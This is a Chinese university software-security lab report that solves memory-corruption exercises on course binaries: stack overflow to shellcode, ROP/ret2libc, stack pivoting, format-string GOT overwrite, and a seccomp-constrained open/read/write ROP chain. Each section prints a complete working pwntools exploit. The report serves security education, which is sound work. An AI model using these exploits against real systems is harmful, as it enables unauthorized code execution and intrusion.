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典型的内存破坏漏洞及其利用

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Abstract

软件安全 lab1 实验报告（2023.04.29 ~ 2023.06.03）

仅供学习参考，请勿抄袭

实验内容

  • stack buffer overflow 实践（30 分）：请通过覆盖返回地址，劫持控制流到 shellcode 实现拿 shell，完成本地测试和远程，最终执行远程的 flag.exe，报告中提供截图证明、并以附件形式提交攻击代码
  • rop 实践 1（20 分），请完成对 rop2 程序的攻击，通过 ret2libc 劫持控制流到 system 实现拿 shell，完成本地测试和远程，最终执行远程的 flag.exe，提供截图证明，并以附件形式提交攻击代码
  • rop 实践 2（20 分），请完成对 rop3 程序的攻击，通过迁栈后再进行 ret2libc 劫持控制流到 system 实现拿 shell，完成本地测试和远程，最终执行远程的 flag.exe，提供截图证明，并以附件形式提交攻击代码
  • fsb 实践 1 (10 分 )，请在 demo 基础上，学习 pwntools fmstr API 的使用，自动生成可以覆盖变量 var 的攻击 payload，将 var 覆盖为自己的学号，并本地测试，提修改成功的截图证明，并以附件形式提交攻击代码
  • fsb 实践 2（20 分），请完成对 echo 程序的攻击，通过 fsb 实现对于 libc 地址的泄露、GOT 内容的覆盖，最终实现拿 shell，完成本地测试和远程，最终执行远程的 flag.exe，提供截图证明，并以附件形式提交攻击代码
  • bonus（extra 20 分）

Stack Buffer Overflow

sbof2

首先 checksec，发现没有任何保护，NX 关闭，存在 RWX 段（也可以通过 gdb vmmap 得知 stack 段是可执行的）：

程序中输出了局部变量数组 buffer 的地址，gets 存在缓冲区溢出，所以可以向 buffer 中写入 shellcode，然后溢出覆盖返回地址到 buffer 的位置，实现 ret2shellcode。

objdump 可以得知 main 函数中开辟了 0x90 大小的栈空间，且 buffer 的位置在 rbp-0x80： 

0000000000401205 <main>:
  401205:   f3 0f 1e fa             endbr64
  401209:   55                      push   rbp
  40120a:   48 89 e5                mov    rbp,rsp
  40120d:   48 81 ec 90 00 00 00    sub    rsp,0x90
  ...
  401241:   48 8d 45 80             lea    rax,[rbp-0x80]
  401245:   48 89 c7                mov    rdi,rax
  401248:   b8 00 00 00 00          mov    eax,0x0
  40124d:   e8 3e fe ff ff          call   401090 <gets@plt>

所以要覆盖到返回地址，需要填充 0x80 + 8（saved rbp）个字节，后面接返回地址。所以 exp：

p.recvuntil(b": ")
buffer_addr = p.recvline().decode().strip()
info(f"buffer_addr = {buffer_addr}")
buffer_addr = p64(eval(buffer_addr))

shellcode = asm(shellcraft.sh())
payload = b""
payload += shellcode
payload += b"A" * (0x80 + 8 - len(shellcode))
payload += buffer_addr

info(f"payload = {payload}")
p.sendline(payload)
p.interactive()

本地测试：

远程攻击：

ROP

rop2

检查保护，开启了 NX，由于程序是静态链接，链接的库中包含了 canary，但实际上程序本身并没有开启 canary，可以正常栈溢出。

程序提供了后门，不过执行的是 /bin/ls，同时也提供了一个静态的 /bin/sh 字符串。由于程序是静态链接，而且没有开启 PIE，所以直接构造 ROP 链直接调用程序内的 system 即可。

首先需要 0x50 + 8（saved rbp）个字节填充到返回地址，然后返回地址上接一条 pop rdi; ret 的指令地址，接下来布局 gstr 字符串的地址使之 pop 到 rdi，然后放一个 system 的地址来实现调用。通过 ROPgadget 找到 pop rdi; ret 指令：

❯ ROPgadget --binary rop2 | grep "pop rdi ; ret"
0x0000000000459a98 : mov eax, 0xe8c78948 ; pop rdi ; ret
0x0000000000459a97 : mov r8d, 0xe8c78948 ; pop rdi ; ret
0x0000000000400716 : pop rdi ; ret
0x00000000004a9f9d : pop rdi ; ret 0x22

所以使用 0x400716 位置处的 gadget 即可：

gstr_addr = elf.symbols["gstr"]
system = elf.symbols["system"]
pop_rdi = 0x400716

payload = b"A" * 0x58
payload += p64(pop_rdi)
payload += p64(gstr_addr)
payload += p64(system)
payload = payload + b"B" * (128 - len(payload))
print(f"payload = {payload}")

p.recvuntil(b"[*] Please input the length of data:\n")
p.sendline(b"128")
p.recvuntil(b"[*] Please input the data:\n")
p.send(payload)

p.interactive()

但在运行的时候经过调试会在 system 函数中发生段错误，错误位置是一条 movaps 指令，想要访问 [rsp + 0x40]：

经过搜索了解到 system 在执行的时候要求 rsp 16 字节对齐，否则会出现段错误。如上图此时 rsp 末尾为 8，为了让其变为 0 只需要多一次跳转即在 ROP 链中加一个直接跳转的指令地址就可以了：

gstr_addr = elf.symbols["gstr"]
system = elf.symbols["system"]
pop_rdi = 0x400716
ret     = 0x400bf5

payload = b"A" * 0x58
payload += p64(pop_rdi)
payload += p64(gstr_addr)
payload += p64(ret)         # align rsp
payload += p64(system)
payload = payload + b"B" * (128 - len(payload))

远程：

rop3

这道题目限制了 buffer 的读入长度最多溢出 0x10，即一个 saved rbp 一个返回地址。但提供了外部的全局变量 gbuffer 也可以进行写入。所以要在 buffer 栈溢出的时候实现栈迁移，将 rbp rsp 转移到 gbuffer 中，然后在 gbuffer 中继续 ROP 链调用 system。

进行栈迁移需要 leave; ret 指令，首先目标函数会执行自己的 leave 指令来 mov rsp, rbp; pop rbp，这里 pop 的 rbp 就是栈上存的 saved rbp，是可以溢出覆盖的，可以将其覆盖为 gbuffer 地址。接下来在返回地址的位置放一条 leave; ret，这样就会继续再执行一条 leave，让 rsp 变成我们修改的位置，再 pop 会使其 +8，同时 rbp 相当于自身解引用了，后面不会用到，也就不用管它。

所以在 gbuffer 中，需要写入一个 /bin/sh 供后面使用，因为如前面的操作，rsp 会向后偏移 8 字节，这八字节也就是 gbuffer 开头直接放 /bin/sh\x00 即可。接下来 pop rdi; ret，然后放一个 gbuffer 地址，再放一个 system 地址即可。同时还要注意对齐 rsp：

"""
❯ ROPgadget --binary rop3 | grep ": leave"
0x0000000000400700 : leave ; ret
❯ ROPgadget --binary rop3 | grep ": pop rdi ; ret"
0x0000000000400823 : pop rdi ; ret
❯ ROPgadget --binary rop3 | grep ": ret"
0x0000000000400586 : ret
"""
p.recvuntil("gift system address: ")
system = eval(p.recvline().decode().strip())
gbuffer = elf.symbols["gbuffer"]

leave_ret = 0x400700
pop_rdi   = 0x400823
ret       = 0x400586
payload = b"/bin/sh\x00"
payload += p64(pop_rdi)
payload += p64(gbuffer)
payload += p64(ret)
payload += p64(system)
print(f"payload = {payload}")
p.sendline(payload)

payload = b"A" * 0x40
payload += p64(gbuffer)
payload += p64(leave_ret)
print(f"payload = {payload}")
p.sendafter(b"> ", payload)

p.interactive()

FSB

demo

这里要利用 pwntools 提供的 fmtstr 相关工具实现自动的任意地址写 payload 构造。首先使用 FmtStr 来爆破 offset，因为程序只有一次输入输出，所以每次测试要新建进程：

def exec_fmt(payload):
    info(f"finding offset... payload = {payload}")
    p = process(elf_path)
    p.sendline(payload)
    res = p.recv()
    info(f"finding offset... res = {res}")
    p.close()
    return res

fsb = FmtStr(exec_fmt)
offset = fsb.offset

接下来使用 fmtstr_payload 构造 payload 即可，默认的 write_size 逐字节写入，导致 payload 太长无法全部输入，需要设置其为 short：

var_addr = elf.symbols["var"]
payload = fmtstr_payload(offset, {var_addr: <数据删除>}, write_size="short")
info(f"payload = {payload}, len = {len(payload)}")

p = process(elf_path)
p.sendline(payload)
res = p.recvall()
success(res[res.find(b"var = "):].decode().strip())

可以看出 FmtStr 得到了 offset 为 6，然后构造了 payload，之后程序中输出的 var 变量的值变成了 < 数据删除 > 即学号 < 数据删除 >。

echo

题目进行了三次输入及 printf 输出，除此之外没有后门什么的，给了 libc.‌so，要实现 ret2libc 攻击。

只有三次输入输出机会，所以这三次的目标分别是：

  1. 通过任意地址读读取 printf GOT 表中地址
    • 这里就是 printf 的实际加载地址
    • 由此可以根据 libc.‌so 中相对位置计算出 system 的加载地址
  2. 通过任意地址写将 printf GOT 表中地址覆盖为 system 的地址
    • 这时下一次调用 printf 就会执行 system
  3. 输入 /bin/sh，触发 system("/bin/sh")

第一步根据调试，padding 到 128 字节的情况下最后八个字节（存放 printf GOT 地址）的参数偏移为 23，所以 payload 就是 %23$sAAAAA...AAA<addr>。接下来第二步使用 fmtstr_payload，第三步直接输入就可以了：

offset = 8

def padding(s, length, remain):
    return s + (length - len(s) - remain) * b"A"

printf_got = elf.got["printf"]
payload = b"%23$s"
payload = padding(payload, 128, 8)
payload += p64(printf_got)
info(f"payload = {payload}")
p.send(payload)

recv = p.recv()
printf_addr = u64(recv[:6]+b"\x00\x00")
system_addr = printf_addr - (libc.symbols["printf"] - libc.symbols["system"])
info(f"printf_addr = {hex(printf_addr)}")
info(f"system_addr = {hex(system_addr)}")
payload = fmtstr_payload(offset, {printf_got: system_addr}, write_size="short")
info(f"payload = {payload}")

p.send(payload)
p.send(b"/bin/sh\0")
p.interactive()

Bonus

IDA 逆向可以看到 main 函数的开头进行了两次系统调用：

...
  syscall(157LL, 38LL, 1LL, 0LL, 0LL, 0LL);
  syscall(317LL, 1LL, 0LL, &v6);
  for ( i = 0LL; i <= 3; ++i )
  {
    memset(s, 0, 0x100uLL);
    printf("size> ");
    read(0, s, 0xFuLL);
    v4 = atoi(s);
    if ( v4 <= 256 )
    {
      memset(s, 0, 0x100uLL);
      read(0, s, (unsigned __int16)v4);
      puts(s);
    }
  }
  return 0LL;
}

第一次调用号 157 对应 prctl，第二次 317 对应 seccomp，所以这里是在设置 seccomp 过滤系统调用，通过 seccomp-tools 可以看到过滤规则（只保留了 open read write）：

❯ seccomp-tools dump ./binary
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS

接下来进行四次输入输出，每次需要先输入长度 s，然后比较其和 256 的大小，如果再在 256 内则读取对应长度的内容然后 puts。但是这里长度也就是 v4 的变量类型是 __int16，所以如果长度为 0xffff 即 65535 则 atoi 的时候 v4 会变成 -1，绕过长度检测，然后读取的时候由于强转了 unsigned，所以可以读取 65535 个字节，实现栈溢出。

checksec 可以看出所有安全机制都是开启的，所以需要使用一次输入输出机会来泄露出 canary。然后需要一次输入输出来泄露出返回地址，这个地址就是 libc.‌so 里 __libc_start_main 函数中 call main 的下一条地址，通过逆向 libc.‌so 可以得到这里的偏移为 0x29d90。所以可以计算出 libc 基地址，进而计算出 syscall 地址。

剩余两次输入输出，最后一次要构造 ROP 链进行 /flag.txt 的读取，根据前面限制的 syscall，就可以直接进行 open、read 到 buffer，write 到 stdout。所以需要提供一个位置来存放 "/flag.txt" 以及读取的内容。这里可以直接使用读入的 s 数组，所以倒数第二次就要泄露栈地址。

程序在运行时操作系统布局好 argc argv envp 等然后在栈上继续执行 _start 函数，其中再调用 libc 内的 __libc_start_main，调用前栈的布局类似为（以下为使用本地 libc 静态链接的简单程序的调试结果）：

00:0000│ rsp 0x7fffffffe3c0 —▸ 0x7fffffffe3c8 ◂— 0x0
01:0008│     0x7fffffffe3c8 ◂— 0x0
02:0010│     0x7fffffffe3d0 ◂— 0x1
03:0018│ rdx 0x7fffffffe3d8 —▸ 0x7fffffffe682 ◂— argv[0]
04:0020│     0x7fffffffe3e0 ◂— 0x0
05:0028│     0x7fffffffe3e8 —▸ 0x7fffffffe68d ◂— envp[0]
...

紧接着 __libc_start_main 内会进行一些 push 然后构造它自己的帧栈，直到调用 main 之前，栈布局会变成类似：

00:0000│ rbp rsp 0x7fffffffe2b0 —▸ 0x4018a0 (__libc_csu_init)
01:0008│         0x7fffffffe2b8 —▸ 0x401139 (__libc_start_main+777)
02:0010│         0x7fffffffe2c0 ◂— 0x0
03:0018│         0x7fffffffe2c8 ◂— 0x100000000
04:0020│         0x7fffffffe2d0 —▸ 0x7fffffffe3d8 —▸ 0x7fffffffe682 ◂— argv[0]
05:0028│         0x7fffffffe2d8 —▸ 0x400b6d (main)
06:0030│         0x7fffffffe2e0 ◂— 0x0
07:0038│         0x7fffffffe2e8 ◂— 0x5500000006

所以可以接着溢出使之输出栈上的 argv 地址，它对应的位置是在 __libc_start_main 的帧栈之前的，也就是前面说到的系统布局 argv 的地址，中间的这些栈的变化都可以通过逆向 libc.‌so 得到，最终可以计算得出这个地址 - 0x228 即为 main 函数帧栈内 s 的地址。

接下来构造 ROP 链，因为给了 libc.‌so，所以在这里寻找 gadget 更方便，因为要进行的三次 syscall 分别为：

syscall(2, s, 0); // syscall(SYS_open, "/flag.txt", O_RDONLY)
syscall(0, fd, s+0x10, len); // syscall(SYS_read, fd, s+0x10, len) 这里的 fd 不确定，可以从 3 开始枚举
syscall(1, 1, s+0x10, len); // syscall(SYS_write, stdout, s+0x10, len)

所以需要布局四个参数（rdi rsi rdx rcx），寻找 gadget:

❯ ROPgadget --binary libc.so | grep ": pop rdi ; ret"
0x000000000002a3e5 : pop rdi ; ret
❯ ROPgadget --binary libc.so | grep ": pop rsi ; ret"
0x000000000002be51 : pop rsi ; ret
❯ ROPgadget --binary libc.so | grep ": pop rdx ; ret"
0x000000000003bad3 : pop rdx ; retf 0x19
❯ ROPgadget --binary libc.so | egrep ": pop rdx ; .*? ; ret"
...
0x0000000000090529 : pop rdx ; pop rbx ; ret
❯ ROPgadget --binary libc.so | grep ": pop rcx ; ret"
0x000000000008c6bb : pop rcx ; ret

之后根据这些目标编写 exp 即可：

  1. 泄露 canary 
    p.sendafter(b"size> ", b"65535".ljust(0xf, b"\x00"))
p.send(b"A" * 0x109)
p.recvn(0x109)
canary = u64(b"\x00" + p.recvn(7))
info(f"canary: {hex(canary)}")
  2. 泄露 libc 基地址 
    p.sendafter(b"size> ", b"65535".ljust(0xf, b"\x00"))
p.send(b"A" * 0x108 + b"A" * 8 + b"A" * 8)
p.recvn(0x118)
ret_addr = u64(p.recvn(6) + b"\x00\x00")
libc_base = ret_addr - 0x29d90
syscall_addr = libc_base + libc.symbols["syscall"]
info(f"ret_addr: {hex(ret_addr)}")
info(f"libc_base: {hex(libc_base)}")
info(f"syscall_addr: {hex(syscall_addr)}")
  3. 泄露栈上 s 地址 
    p.sendafter(b"size> ", b"65535".ljust(0xf, b"\x00"))
p.send(b"A" * 0x108 + b"A" * (8 + 8 + 8 + 8 + 8 + 8))
p.recvn(0x138)
stack_addr = u64(p.recvn(6) + b"\x00\x00")
buffer_addr = stack_addr - 0x228
info(f"stack_addr: {hex(stack_addr)}")
info(f"buffer_addr: {hex(buffer_addr)}")
  4. 构造 ROP payload
    • 写入 "/flag.txt" 并溢出、填入 canary，覆盖 rbp 
      payload = b"/flag.txt\x00\x00\x00\x00\x00\x00\x00"
payload += b"A" * (0x108 - len(payload))
payload += p64(canary)
payload += b"A" * 8
    • syscall open 
      pop_rdi_ret     = libc_base + 0x2a3e5
pop_rsi_ret     = libc_base + 0x2be51
pop_rdx_rbx_ret = libc_base + 0x90529
pop_rcx_ret     = libc_base + 0x8c6bb

payload += p64(pop_rdi_ret)
payload += p64(2) # open
payload += p64(pop_rsi_ret)
payload += p64(buffer_addr)
payload += p64(pop_rdx_rbx_ret)
payload += p64(0) # O_RDONLY
payload += p64(0)
payload += p64(syscall_addr)
    • syscall read 
      payload += p64(pop_rdi_ret)
payload += p64(0) # read
payload += p64(pop_rsi_ret)
payload += p64(4) # fd
payload += p64(pop_rdx_rbx_ret)
payload += p64(buffer_addr + 0x10)
payload += p64(0)
payload += p64(pop_rcx_ret)
payload += p64(0x40)
payload += p64(syscall_addr)
    • syscall write 
      payload += p64(pop_rdi_ret)
payload += p64(1) # write
payload += p64(pop_rsi_ret)
payload += p64(1) # fd
payload += p64(pop_rdx_rbx_ret)
payload += p64(buffer_addr + 0x10)
payload += p64(0)
payload += p64(pop_rcx_ret)
payload += p64(64)
payload += p64(syscall_addr)

p.sendafter(b"size> ", b"65535".ljust(0xf, b"\x00"))
p.send(payload)
p.interactive()

远程：

最后更新: 2023年8月6日 22:04:08
创建日期: 2023年8月6日 22:04:08
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